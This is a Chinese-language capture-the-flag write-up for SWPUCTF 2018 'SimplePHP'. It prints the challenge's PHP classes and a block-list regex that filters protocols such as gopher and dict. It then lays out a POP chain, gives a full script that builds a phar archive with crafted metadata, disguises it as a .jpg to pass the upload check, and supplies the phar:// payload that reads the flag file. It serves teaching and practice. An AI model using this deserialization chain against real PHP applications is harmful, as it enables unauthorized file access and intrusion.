[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】

文章目录

        • Phar:// 协议进行反序列化
        • 构造POP链
        • 生成phar
        • 总结:

一道不算难的反序列化+文件上传题目,但自己在构造POP链时还是愣了好久,本菜鸡名副其实了

首先是在查找文件处,URL明显是值得怀疑的file.php?file=
这按照惯例得试试能不能把一些文件读出来
一共是这些:index.php、base.php、file.php、upload_file.php、class.php

upload_file.php值得关注就是这个限制了,只允许图片
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第1张图片

在file.php中就有对象的生成

//file.php
 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) {
      
    echo "

There is no file to show!

"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

class.php中比较重要的代码我 打上了!!!


class C1e4r
{
     
    public $test;
    public $str;
    public function __construct($name)
    {
     
        $this->str = $name;
    }
    public function __destruct()
    {
     
        $this->test = $this->str;
        echo $this->test;   //!!!
    }
}

class Show
{
     
    public $source;
    public $str;
    public function __construct($file)
    {
     
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()    //!!
    {
     
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
     
        $this->$key = $value;
    }
    public function _show()
    {
     
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
     
            die('hacker!');
        } else {
     
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
     
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
     
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
     
    public $file;
    public $params;
    public function __construct()
    {
     
        $this->params = array();
    }
    public function __get($key) //!!!
    {
     
        return $this->get($key);
    }
    public function get($key)//!!!
    {
     
        if(isset($this->params[$key])) {
     
            $value = $this->params[$key];
        } else {
     
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)//!!!
    {
     
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

Phar:// 协议进行反序列化

已经知道要反序列化了,但一直没找到unserialize()这个函数,那如何反序列化呢?本题是文件上传题,其实题做多就想的起来利用Phar://,其次Phar://本身就有反序列化这个漏洞,不依赖unserialize()这个函数

大概知道payload应该这样构造:

?file=phar://xxxxx.jpg

构造POP链

我们构造的phar://是作为$file来到Show这个类被赋值给$source,并在这里发生反序列化。再看到Test类中有一个file_get_contents()函数,基本确定是要通过POP链调用这个函数输出flag
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第2张图片

先看class C1e4r
在析构函数__destruct()中会echo一个值,这里应该敏锐想到之前在Show这个类中看到的__toString()方法,会触发这个魔术方法,因此要从这儿跳转到show这个类
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第3张图片

接着看class Show
直接看__toString(),会调用$str['str']source变量,可$str['str']是完全可控的,又因为Test类中有一个__get()魔术方法且没有source这个变量,可以触发__get()方法

1. 从一个难以访问的属性读取数据的时候 __get() 方法被调用
2. 向一个难以访问的属性赋值的时候__set()方法被调用
3. 难以访问包括:(1)私有属性,(2)没有初始化的属性

[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第4张图片
最后看class Test
这里$key传递的是source,且$this->params[$key]可控,那么直接令它等于f1ag.php即可
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第5张图片
流程是:

class C1e4r::__destruct() => class Show::__toString() => class Test::__get()、get()、file_get()

生成phar


class C1e4r
{
     
    public $test;
    public $str;//!!new show
}

class Show
{
     
    public $source;
    public $str;        //!!new Test
}

class Test
{
     
    public $file;
    public $params;

}

$c=new C1e4r();
$s=new Show();
$t=new Test();

$c->str=$s;
$s->str['str']=$t;
$t->params['source']='/var/www/html/f1ag.php';

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($c); //触发的开始是C1e4r(),所以传$c   将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

php运行一下即可得到一个phar文件,但这题限定了后缀,所以我们把生成的test.phat改成test.jpg再上传,然后访问upload目录获取到文件名,当然你也可以自己算出文件名,
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第6张图片
在这里插入图片描述
payload:

?file=phar://./upload/febdf38ac03e62cb8f05d46cefefd732.jpg

解码一下即可
[SWPUCTF 2018]SimplePHP【Phar:// + 文件上传】_第7张图片

总结:

1.Phar://协议具有反序列化的漏洞,在文件上传中常用来读取上传的文件
2.POP链中一定要知道的一些魔术方法: ____destruct() __toString() __get(),尤其__destruct()是事故多发地!

你可能感兴趣的:(文件上传,反序列化)